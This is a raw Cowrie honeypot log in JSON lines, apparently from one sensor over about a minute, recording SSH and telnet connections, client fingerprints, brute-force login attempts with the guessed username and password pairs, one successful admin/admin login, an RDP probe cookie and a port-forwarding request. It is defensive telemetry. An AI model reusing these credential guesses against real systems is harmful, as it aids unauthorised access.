{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.168709Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081992","message":"login attempt [user/21081992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.668745Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50868,"dst_ip":"10.17.0.5","dst_port":23,"session":"d615925c64bd","protocol":"telnet","message":"New connection: 152.42.224.71:50868 (10.17.0.5:23) [session: d615925c64bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:05.716127Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"accident","message":"login attempt [admin/accident] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:06.233735Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210690","message":"login attempt [user/210690] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:06.781207Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"acces","message":"login attempt [admin/acces] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:07.341646Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"210685","message":"login attempt [user/210685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:07.890968Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"academic","message":"login attempt [admin/academic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:08.449125Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21061981","message":"login attempt [user/21061981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:09.000564Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abercrom","message":"login attempt [admin/abercrom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:09.556888Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21031979","message":"login attempt [user/21031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:10.109179Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:10.665344Z","src_ip":"2.57.121.112","session":"6b9e029f6c8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:11.217564Z","src_ip":"2.57.121.25","session":"8c048777671b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":37386,"dst_ip":"159.203.135.109","dst_port":22,"session":"74ddbdc5c971","protocol":"ssh","message":"New connection: 72.52.132.30:37386 (159.203.135.109:22) [session: 74ddbdc5c971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:11.381121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:11.386667Z","src_ip":"72.52.132.30","session":"74ddbdc5c971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:11.431309Z","src_ip":"72.52.132.30","session":"74ddbdc5c971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"night123","message":"login attempt [root/night123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:11.612480Z","src_ip":"72.52.132.30","session":"74ddbdc5c971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":47046,"dst_ip":"159.203.135.109","dst_port":22,"session":"31f65ae58edc","protocol":"ssh","message":"New connection: 43.133.34.13:47046 (159.203.135.109:22) [session: 31f65ae58edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:12.538449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:12.542526Z","src_ip":"43.133.34.13","session":"31f65ae58edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:12.647579Z","src_ip":"72.52.132.30","session":"74ddbdc5c971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:12.779535Z","src_ip":"43.133.34.13","session":"31f65ae58edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdasd12","message":"login attempt [root/asdasd12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:13.763059Z","src_ip":"43.133.34.13","session":"31f65ae58edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:15.007527Z","src_ip":"43.133.34.13","session":"31f65ae58edc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58058,"dst_ip":"10.17.0.5","dst_port":23,"session":"818f5e34c926","protocol":"telnet","message":"New connection: 152.42.224.71:58058 (10.17.0.5:23) [session: 818f5e34c926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:15.201225Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59574,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3f1198ea053","protocol":"telnet","message":"New connection: 152.42.224.71:59574 (10.17.0.5:23) [session: d3f1198ea053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:20.135413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62824,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b283783fee9","protocol":"ssh","message":"New connection: 152.42.212.128:62824 (159.203.135.109:22) [session: 0b283783fee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.065850Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.070416Z","src_ip":"152.42.212.128","session":"0b283783fee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.073329Z","src_ip":"152.42.212.128","session":"0b283783fee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8108,"dst_ip":"10.17.0.5","dst_port":22,"session":"88b6902146d2","protocol":"ssh","message":"New connection: 87.251.64.176:8108 (10.17.0.5:22) [session: 88b6902146d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.112205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.117487Z","src_ip":"87.251.64.176","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.213582Z","src_ip":"87.251.64.176","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.503226Z","src_ip":"87.251.64.176","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.620794Z","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.719210Z","src_ip":"87.251.64.176","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:24.821970Z","src_ip":"87.251.64.176","session":"88b6902146d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.238691329956055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:30.366587Z","src_ip":"152.42.224.71","session":"54c98aeec7b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.67128038406372,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:31.362704Z","src_ip":"152.42.224.71","session":"718a748a2b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":51846,"dst_ip":"10.17.0.5","dst_port":22,"session":"25f2397ad967","protocol":"ssh","message":"New connection: 103.149.170.125:51846 (10.17.0.5:22) [session: 25f2397ad967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:38.977226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:38.981849Z","src_ip":"103.149.170.125","session":"25f2397ad967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:39.232292Z","src_ip":"103.149.170.125","session":"25f2397ad967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barselona","message":"login attempt [root/barselona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:39.982455Z","src_ip":"103.149.170.125","session":"25f2397ad967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57908,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed344c66a57","protocol":"telnet","message":"New connection: 152.42.224.71:57908 (10.17.0.5:23) [session: 1ed344c66a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:40.764569Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:41.234796Z","src_ip":"103.149.170.125","session":"25f2397ad967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.188496112823486,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:45.869303Z","src_ip":"152.42.224.71","session":"e3e4ffc1bf8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":54908,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5bc755781f8","protocol":"ssh","message":"New connection: 68.183.236.1:54908 (159.203.135.109:22) [session: a5bc755781f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:55.281709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:55.289234Z","src_ip":"68.183.236.1","session":"a5bc755781f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:55.530529Z","src_ip":"68.183.236.1","session":"a5bc755781f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexsander","message":"login attempt [root/alexsander] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:56.498686Z","src_ip":"68.183.236.1","session":"a5bc755781f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:57.746255Z","src_ip":"68.183.236.1","session":"a5bc755781f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.63076138496399,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:45:59.831816Z","src_ip":"152.42.224.71","session":"818f5e34c926","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00516080856323,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:05.238165Z","src_ip":"152.42.224.71","session":"54c3a7452166","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37238,"dst_ip":"10.17.0.5","dst_port":23,"session":"3376129f1deb","protocol":"telnet","message":"New connection: 152.42.224.71:37238 (10.17.0.5:23) [session: 3376129f1deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:08.898592Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37250,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6591444ad5","protocol":"telnet","message":"New connection: 152.42.224.71:37250 (10.17.0.5:23) [session: 8b6591444ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:09.478237Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":60720,"dst_ip":"159.203.135.109","dst_port":22,"session":"4040de842b96","protocol":"ssh","message":"New connection: 103.75.183.219:60720 (159.203.135.109:22) [session: 4040de842b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:46:09.794317Z"}
